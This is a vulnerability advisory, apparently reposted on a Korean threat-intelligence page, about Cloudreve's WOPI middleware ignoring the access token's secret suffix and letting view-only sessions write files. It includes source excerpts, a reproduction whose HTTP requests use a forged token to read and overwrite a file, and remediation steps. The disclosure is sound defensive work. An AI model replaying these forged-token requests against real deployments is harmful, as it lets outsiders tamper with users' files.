Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N상세 설명
Summary
Cloudreve WOPI access tokens are generated as <session-id>.<random-secret>, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.
Impact
A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.
This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.
Affected version
Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.
Technical details
Cloudreve creates WOPI viewer sessions in pkg/filemanager/manager/viewer.go:
1sessionID := uuid.Must(uuid.NewV4()).String() 2token := util.RandStringRunesCrypto(128) 3sessionCache := &ViewerSessionCache{ 4 ID: sessionID, 5 Uri: file.Uri(false).String(), 6 UserID: m.user.ID, 7 ViewerID: viewer.ID, 8 FileID: file.ID(), 9 Version: version,10 Token: fmt.Sprintf("%s.%s", sessionID, token),11}The token includes a 128-character random suffix, but middleware.ViewerSessionValidation() only uses the prefix before the dot:
1accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".") 2if len(accessToken) != 2 { 3 ... 4} 5 6sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])The middleware checks that the file id matches the loaded session, but it never compares c.Query("access_token") with session.Token. As a result, <valid-session-id>.anything is accepted.
The WOPI routes are exposed without normal session authentication and rely on this middleware:
1wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation()) 2wopi.GET(":id", controllers.CheckFileInfo) 3wopi.GET(":id/contents", controllers.GetFile) 4wopi.POST(":id/contents", controllers.PutFile) 5wopi.POST(":id", controllers.ModifyFile)The write routes are not protected by a session-level write check. CreateViewerSessionService accepts preferred_action, but ViewerSessionCache has no action or write-permission field and CreateViewerSession does not persist the chosen action. The requested action is only used to generate the WOPI source URL:
1wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)WopiService.PutContent() checks only the underlying filesystem upload capability:
1file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())It does not check whether the WOPI session was created for an edit action.
Reproduction
The following sequence was verified against a disposable local Cloudreve instance built from the affected commit.
- Configure a WOPI viewer in Cloudreve.
- Create a user-owned file, for example
cloudreve://my/wopi.txt, containingoriginal content. - Create a viewer session with
preferred_actionset toview:
1PUT /api/v4/file/viewerSession HTTP/1.1 2Authorization: Bearer <user-token> 3Content-Type: application/json 4 5{ 6 "uri": "cloudreve://my/wopi.txt", 7 "version": "", 8 "viewer_id": "poc-wopi", 9 "preferred_action": "view"10}Observed response:
1{ 2 "session": { 3 "id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1", 4 "access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>" 5 } 6}- Replace the token suffix with any value:
1GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1Observed response: 200 OK. The same request with an unknown session id returned 403 Forbidden, confirming the middleware validates the session id prefix but ignores the secret suffix.
- Use the forged token from the view-created session to read content:
1GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1Observed response:
1HTTP/1.1 200 OK 2Content-Length: 16 3Etag: "1bIo" 4 5original content- Use the same forged token from the view-created session to write content:
1POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 2X-WOPI-Lock: cloudreve-poc 3Content-Type: application/octet-stream 4 5runtime modified via view session forged suffixObserved response:
1HTTP/1.1 200 OK 2X-Wopi-Itemversion: nBc0- Read back the modified file with the forged token:
1GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1Observed response:
1HTTP/1.1 200 OK 2Content-Length: 47 3Etag: "nBc0" 4 5runtime modified via view session forged suffixThis proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink.
Root cause
Two authorization values are generated or accepted but not enforced:
- The random WOPI token suffix is generated and stored but never compared during WOPI request validation.
- The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes.
Remediation
- Compare the full supplied
access_tokento the storedViewerSessionCache.Tokenusing constant-time comparison. - Reject malformed tokens and tokens with extra separators.
- Store a
CanWriteflag or selected WOPI action inViewerSessionCache. - Enforce that flag on
POST /contents,PUT_RELATIVE,LOCK, and other write operations. - Include session-level write permission when returning WOPI
FileInfofields such asReadOnlyandUserCanWrite.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.